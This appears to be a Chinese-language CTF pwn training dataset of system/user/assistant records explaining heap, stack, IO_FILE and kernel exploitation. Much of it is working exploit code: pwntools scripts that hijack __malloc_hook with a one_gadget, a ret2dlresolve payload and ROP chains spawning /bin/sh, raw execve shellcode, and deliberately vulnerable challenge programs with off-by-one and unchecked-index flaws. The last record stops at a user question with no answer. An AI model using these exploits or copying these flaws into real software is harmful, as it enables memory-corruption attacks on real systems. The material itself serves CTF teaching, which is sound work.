利用`_IO_wfile_seekoff`函数控制程序执行流（House of Cat）

对 `fp` 的设置如下：

+ `_flags` 设置为 `~0x8`，如果不能保证 `_lock` 指向可读写内存则 `_flags |= 0x8000`。
+ `vtable`设置为`_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap`地址（加减偏移），使其能成功调用`_IO_wfile_seekoff`即可
+ `_wide_data`设置为可控堆地址`A`，即满足`*(fp + 0xa0) = A`
+ `_wide_data->_IO_write_ptr > _wide_data->_IO_write_base` ，即满足`*A > *(A + 8)`
+ `_wide_data->_wide_vtable`设置为可控堆地址`B`，即满足`*(A + 0xe0) = B`
+ `_wide_data->_wide_vtable->overflow`设置为地址`C`用于劫持`RIP`，即满足`*(B + 0x18) = C`

函数的调用链如下：

```plain
_IO_wfile_seekoff
    _IO_switch_to_wget_mode
        _IO_WOVERFLOW
            *(fp->_wide_data->_wide_vtable + 0x18)(fp)
```

详细分析如下：

首先看 `_IO_wfile_seekoff` 函数：

```c
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  ...
  bool was_writing = ((fp->_wide_data->_IO_write_ptr
               > fp->_wide_data->_IO_write_base)
              || _IO_in_put_mode (fp));
  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
  ...
}
```

为了调用 `_IO_switch_to_wget_mode` 函数，需要满足 `fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base` 或 `(fp)->_flags & 0x0800 != 0` 。

接着看 `_IO_switch_to_wget_mode`：

```c
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
   ...
}
```

当满足`fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base`时就会调用`_IO_WOVERFLOW(fp)`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「内核堆泄漏」。
资料来源：Kernel/QWB2018-core/tty_struct.md；主题：tty_struct；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 内核堆泄漏

假设你有以下条件：

- 拥有`kmalloc-32`的UAF
- 拥有`kmalloc-1024`的UAF
- 拥有`kmalloc-1024`的写原语（完整写或部分写）

如果你有`kmalloc-32`的UAF，可以通过`tty_file_private`泄漏`kmalloc-1024`的内核堆地址。这是因为`tty_file_private`内部包含了在`kmalloc-1024`中分配的`tty_struct`的地址。

如果你有`kmalloc-1024`的UAF，可以通过`tty_struct.ops`泄漏内核基址。因为`tty_struct.ops`包含了`ptmx_fops`的地址。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/QWB2021-notebook/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/QWB2021-notebook/start.sh`

分类：kernel

语言：bash

利用主题关键词：
- seccomp/orw

训练用代码片段：
```bash
#!/bin/sh
qemu-system-x86_64 -m 64M \
        -kernel bzImage \
        -initrd exp.cpio \
        -append "loglevel=0 console=ttyS0 oops=panic panic=1 kaslr" \
        -nographic \
        -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap \
        -monitor /dev/null 2>/dev/null -s \
        -no-reboot
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/chunk Extend and Overlapping/hitcontraning_lab13/heapcreator.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/chunk Extend and Overlapping/hitcontraning_lab13/heapcreator.c`

分类：heap

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <unistd.h>`

函数/封装：
- `create_heap`
- `delete_heap`
- `edit_heap`
- `main`
- `menu`
- `read_input`
- `show_heap`

利用主题关键词：
- seccomp/orw

训练用代码片段：
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void read_input(char *buf,size_t size){
	int ret ;
    ret = read(0,buf,size);
    if(ret <=0){
        puts("Error");
        _exit(-1);
    }
}

struct heap {
	size_t size ;
	char *content ;
};

struct heap *heaparray[10];

void menu(){
	puts("--------------------------------");
	puts("          Heap Creator          ");
	puts("--------------------------------");
	puts(" 1. Create a Heap               ");
	puts(" 2. Edit a Heap                 ");
	puts(" 3. Show a Heap                 ");
	puts(" 4. Delete a Heap               ");
	puts(" 5. Exit                        ");
	puts("--------------------------------");
	printf("Your choice :");
}

void create_heap(){
	int i ;
	char buf[8];
	size_t size = 0;
	for(i = 0 ; i < 10 ; i++){
		if(!heaparray[i]){
			heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
			if(!heaparray[i]){
				puts("Allocate Error");
				exit(1);
			}
			printf("Size of Heap : ");
			read(0,buf,8);
			size = atoi(buf);
			heaparray[i]->content = (char *)malloc(size);
			if(!heaparray[i]->content){
				puts("Allocate Error");
				exit(2);
			}
			heaparray[i]->size = size ;
			printf("Content of heap:");
			read_input(heaparray[i]->content,size);
			puts("SuccessFul");
			break ;
		}
	}
}

void edit_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		printf("Content of heap : ");
		read_input(heaparray[idx]->content,heaparray[idx]->size+1);
		puts("Done !");
	}else{
		puts("No such heap !");
	}
}

void show_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
		puts("Done !");
	}else{
		puts("No such heap !");
	}

}

void delete_heap(){
	int idx ;
	char buf[4];
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		free(heaparray[idx]->content);
		free(heaparray[idx]);
		heaparray[idx] = NULL ;
		puts("Done !");
	}else{
		puts("No such heap !");
	}

}

int main(){
	char buf[4];
	setvbuf(stdout,0,2,0);
	setvbuf(stdin,0,2,0);
	while(1){
		menu();
		read(0,buf,4);
		switch(atoi(buf)){
			case 1 :
				create_heap();
				break ;
			case 2 :
				edit_heap();
				break ;
			case 3 :
				show_heap();
				break ;
			case 4 :
				delete_heap();
				break ;
			case 5 :
				exit(0);
				break ;
			default :
				puts("Invalid Choice");
				break;
		}

	}
	return 0 ;
}
```

Heap/chunk Extend and Overlapping/hitcontraning_lab13/heapcreator.c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「1. add 有索引检查」。
资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 1. add 有索引检查

`add` 会检查索引和大小：

```c
scanf("%d", &idx);
if (idx < 0 || idx > 0x14) exit(0);

scanf("%lu", &size);
if (size > 0x400) exit(0);

book[idx].ptr = malloc(size);
book[idx].size = size;
read(0, book[idx].ptr, size);
```

所以正常申请只能操作 `0 ~ 0x14` 号 chunk，最大申请 `0x400`。

IO-FILE/house of apple2/2024pcb babyheap/WP.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/scanf/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/scanf/exp.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwn import *`
- `from LibcSearcher import *`

函数/封装：
- `add`
- `debug`
- `edit`
- `get_addr`
- `inter`
- `pr`
- `r`
- `rl`
- `s`
- `sa`
- `show`
- `sl`
- `sla`

利用主题关键词：
- stack/rop

关键常量/偏移样例：
`0x4527a`, `0x3c36e0`, `0xfbad1887`

训练用代码片段：
```python
from pwn import *
from LibcSearcher import *

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./note')
#p = remote('TARGET_IP', 28932)
elf = ELF('./note')
libc = ELF('/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(size, content):
    sla(b'choice: ', b'1')
    sla(b'size: ', str(size))
    sa(b'content: ', content)
    rl(b'0x')
    return int(p.recv(12), 16)
def edit(content1, content2):
    sla(b'choice: ', b'2')
    sa(b'say ? ', content1)
    sla(b'? ',content2)
def show():
    sla(b'choice: ', b'3')

# leak libc_base
heap_base = add(0x60, b'a') - 0x10
edit(b'%7$s\x00\x00\x00\x00', p64(0xfbad1887) + p64(0)*3)
libc_base = get_addr() - 0x3c36e0

# malloc_hook -> one_gadget
one_gadget = libc_base + 0x4527a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
edit(b'%7$s\x00\x00\x00\x00' + p64(malloc_hook - 0x8), p64(one_gadget) + p64(realloc + 12))

# pwn
sla(b'choice: ', b'1')
sla(b'size: ', str(0x10))

print(' libc_base -> ', hex(libc_base))
print(' heap_base -> ', hex(heap_base))
inter()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/32位/stage6_original.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/32位/stage6_original.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x800`, `0x080481d8`, `0x08048278`, `0x08048330`, `0x08048380`, `0x08048458`, `0x08048619`, `0x0804861b`, `0x0804a040`

训练用代码片段：
```python
#!/usr/bin/python
#coding:utf-8

from pwn import *
elf = ELF('bof')

offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret)
r.sendline(payload)

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc，减去rel_plt即偏移
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/花式栈/2024ylb-magicread/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/花式栈/2024ylb-magicread/exp_cli.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

利用主题关键词：
- seccomp/orw

关键常量/偏移样例：
`0x500`, `0x40063a`, `0x400675`, `0x400693`, `0x00000000004004c6`, `0x0000000000400723`

训练用代码片段：
```python
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]
libc=ELF("./libc-2.23.so")
context.arch=elf.arch

rdi=0x0000000000400723
ret=0x00000000004004c6
leave=0x400675
bss=elf.bss()+0x500
vuln=0x40063a

r()
pay1=b'a'*64+p64(bss+0x40)+p64(leave)
s(pay1)
pay1=b'a'*64+p64(bss+0x40+64)+p64(leave)
s(pay1)

pay2=p64(bss+0x50)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x400693)
s(pay2)

leak=u64(r(6)+b'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+libc.search("/bin/sh\x00").__next__()
print("sh",hex(sh))
ru(b"just read!\n")
pay3=b'a'*64+p64(bss+0x90)+p64(leave)
s(pay3)
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
s(pay4)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「3. 切割 unsorted bin，泄露 libc」。
资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 3. 切割 unsorted bin，泄露 libc

从合并得到的大 chunk 中切两块 `0x70`：

```python
add(0, 0x70)
add(2, 0x70)
```

此时剩余 unsorted chunk 的 `fd/bk` 指针会落在原来 index 1 指向的区域附近，因此 `show(1)` 能打印 unsorted bin 指针：

```python
show(1)
p.recvuntil(b"Content: ")
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x3ebca0
```

`0x3ebca0` 是 glibc 2.27 下该 unsorted bin 泄露指针相对 libc base 的偏移。得到 libc base 后计算：

```python
free_hook = libcbase + libc.sym["__free_hook"]  # 0x3ed8e8
system    = libcbase + libc.sym["system"]       # 0x4f420
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Summary」。
资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## Summary

题目是 glibc 2.31 下的堆题。程序提供 `add / delete / edit / show` 四个功能，核心利用点是：`add` 的下标只递增不复用，`read` 可以短读，从而在重新申请 unsorted chunk 后泄露残留的 libc 指针；同时 `edit` 提供一次 4 字节任意地址写，可以篡改 `mp_.tcache_bins`，把 0x510 大小纳入 tcache，并借助 tcache_perthread_struct 越界索引劫持 `__free_hook` 为 `system`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「malloc to environ, leak stack」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# malloc to environ, leak stack
add(1,0x10)
add(1,0x10)
show()
ru("the data")
r(1)
stack = 0
for i in range(6):
    val = u8(r(1))
    stack += (val ^ (0x99+i)) * 0x100**i
stack = stack - 0x80 - 8 - 0xa0


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「结论」。
资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 结论

这份 `exp.py` 使用的是 **UAF 泄漏 + Safe-Linking 下的 tcache poisoning + 劫持 libc `_IO_file_jumps` 跳转表触发 one_gadget** 的利用手法。

核心不是传统的 `__free_hook` / `__malloc_hook`，而是在 glibc 2.34 环境下通过 tcache 任意地址分配把 chunk 申请到 `_IO_file_jumps`，覆盖其中的 `_IO_overflow` 函数指针；之后程序继续调用 `puts("Done")` 时触发 stdout 的 FILE vtable 分发，跳转到 one_gadget 拿 shell。

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「so reallocating a freed chunk can leave old heap metadata after a short read.」。
资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# so reallocating a freed chunk can leave old heap metadata after a short read.
add(0x500, b'a')              # 0
add(0x500, b'/bin/sh\x00')    # 1, argument for system()
add(0x500, b'a')              # 2, freed for unsorted-bin leak
add(0x500, b'a')              # 3
add(0x100, b'a')              # 4, guard/top separation


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「2026-07-25 update: pte-realloc-scan」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 2026-07-25 update: pte-realloc-scan

Added mode:

```sh
/root/xcache_probe pte-realloc-scan <spray_pte_pages> <used_slots>
```

Sequence:

```text
alloc [0, used)
free [0, used) once
spray PTE pages
second-free stale [176, used)
scan sprayed PTE pages
fresh alloc [used, 512)
scan again if still alive
```

Representative results under challenge-like 128M SMP4 boot:

```text
used=256, spray=128:
  after_second_free_stale active_objs=120 num_objs=160 active_slabs=10 num_slabs=10
  scan-before-alloc: ok=128 faults=0 mismatch=0
  fresh alloc -> kmem_cache_alloc_noprof+0x252 GPF on non-canonical freelist pointer

used=320, spray=128:
  after_second_free_stale active_objs=120 num_objs=160 active_slabs=10 num_slabs=10
  scan-before-alloc: ok=128 faults=0 mismatch=0
  fresh alloc -> kmem_cache_alloc_noprof+0x252 GPF on non-canonical freelist pointer

used=384, spray=64/128:
  some runs complete with scan ok=64/128 faults=0 mismatch=0
```

Interpretation:

- second-free after page recycling can enqueue a non-normal object/page into the d3k cache freelist;
- fresh allocation can then decode attacker-influenced/non-slab contents as a freelist pointer and crash;
- this confirms a stronger page-level overlap / allocator metadata corruption signal than the previous scan-only probe;
- it is still not a root exploit because no controlled PTE entry corruption or stable kernel R/W has been achieved.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2vdso/ret2vdso.s` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2vdso/ret2vdso.s`

分类：stack

语言：asm

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0xfffffff0`

训练用代码片段：
```asm
;//    gcc -c ret2vdso.s -o ret2vdso.o -m32
;//    ld -e _start -z noexecstack -melf_i386 ret2vdso.o -o ret2vdso
	.intel_syntax noprefix
	.text
	.comm	buf, 4096, 32
	.globl	_start
	.type	_start, @function
_start:
	xor ebp, ebp
	and esp, 0xfffffff0
	call main

	mov ebx, eax
	mov eax, 1
	int 0x80

read:
    push ebp
    mov ebp, esp

    mov ebx, 8[ebp]
    mov ecx, 12[ebp]
    mov edx, 16[ebp]
    mov eax, 3
    int 0x80

    mov esp, ebp
    pop ebp
    ret

write:
    push ebp
    mov ebp, esp

    mov ebx, 8[ebp]
    mov ecx, 12[ebp]
    mov edx, 16[ebp]
    mov eax, 4
    int 0x80

    mov esp, ebp
    pop ebp
    ret

memcpy:
	push	ebp
	mov	ebp, esp
	sub	esp, 16
	mov	DWORD PTR -4[ebp], 0
	jmp	.L2
.L3:
	mov	edx, DWORD PTR -4[ebp]
	mov	eax, DWORD PTR 12[ebp]
	add	eax, edx
	mov	ecx, DWORD PTR -4[ebp]
	mov	edx, DWORD PTR 8[ebp]
	add	edx, ecx
	movzx	eax, BYTE PTR [eax]
	mov	BYTE PTR [edx], al
	add	DWORD PTR -4[ebp], 1
.L2:
	mov	eax, DWORD PTR -4[ebp]
	cmp	DWORD PTR 16[ebp], eax
	ja	.L3
	leave
	ret

main:
	push ebp
	mov	ebp, esp
	sub	esp, 128
	lea	eax, buf
	push 4096
	push eax
	push 0
	mov	eax, 0
	call	read
    add esp, 12

	mov esi, eax

	push esi
	lea eax, buf
    push eax
	lea eax, -128[ebp]
	push eax
	call memcpy
	add esp, 12

    lea eax, -128[ebp]
	push esi
    push eax
    push 1
	mov	eax, 0
	call	write
    add esp, 12

	mov	eax, 0
    mov esp, ebp
    pop ebp
	ret
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「题目信息」。
资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 题目信息

附件包含：

```text
vuln
libc.so.6
exp.py
```

保护情况：

```text
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
```

题目是一个菜单堆题，功能如下：

```text
1. Add note
2. Delete note
3. Edit note
4. Show note
5. Exit
```

本地验证命令：

```bash
python3 exp.py TEST
```

成功输出：

```text
__HIT_LIST_PWNED__
uid=0(root) gid=0(root) ...
memory exhausted
```

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2shellcode/shellcode_limit/demo.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2shellcode/shellcode_limit/demo.c`

分类：stack

语言：c

环境/依赖线索：
- `#include<stdio.h>`
- `#include<string.h>`

函数/封装：
- `main`

利用主题关键词：
- seccomp/orw
- stack/rop

训练用代码片段：
```c
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = \
"\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

int main() {
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/house of io/pwn.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/house of io/pwn.c`

分类：heap

语言：c

环境/依赖线索：
- `#include<stdlib.h>`
- `#include <stdio.h>`
- `#include <unistd.h>`

函数/封装：
- `add_chunk`
- `delete_chunk`
- `edit_chunk`
- `get_num`
- `main`
- `menu`
- `show_chunk`

利用主题关键词：
- heap/tcache
- seccomp/orw

关键常量/偏移样例：
`0x100`

训练用代码片段：
```c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2syscall/x64/[CISCN 2023 初赛]烧烤摊儿/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2syscall/x64/[CISCN 2023 初赛]烧烤摊儿/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

利用主题关键词：
- stack/rop

关键常量/偏移样例：
`0x4E60F0`, `0x0000000000402404`, `0x000000000040264f`, `0x000000000040a67e`, `0x00000000004a404a`

训练用代码片段：
```python
from pwn import *

io=process("./shaokao")
#io=remote("node4.anna.nssctf.cn",28662)

context.log_level="debug"

io.sendline(b'1')
io.sendline(b'1')
io.sendline(b'-10000')
io.sendline(b'4')
io.sendline(b'5')

name=0x4E60F0
rax_rdx_rbx=0x00000000004a404a #: pop rax ; pop rdx ; pop rbx ; ret
rdi=0x000000000040264f #: pop rdi ; ret
rsi=0x000000000040a67e #: pop rsi ; ret
syscall=0x0000000000402404 #: syscall
padding=b'A'*(0x20)

payload=b'/bin/sh\x00'+padding+p64(rax_rdx_rbx)+p64(0x3b)+p64(0)+p64(0)+p64(rdi)+p64(name)+p64(rsi)+p64(0)+p64(syscall)

io.sendline(payload)

io.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「通过 find_msg 定位消息」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
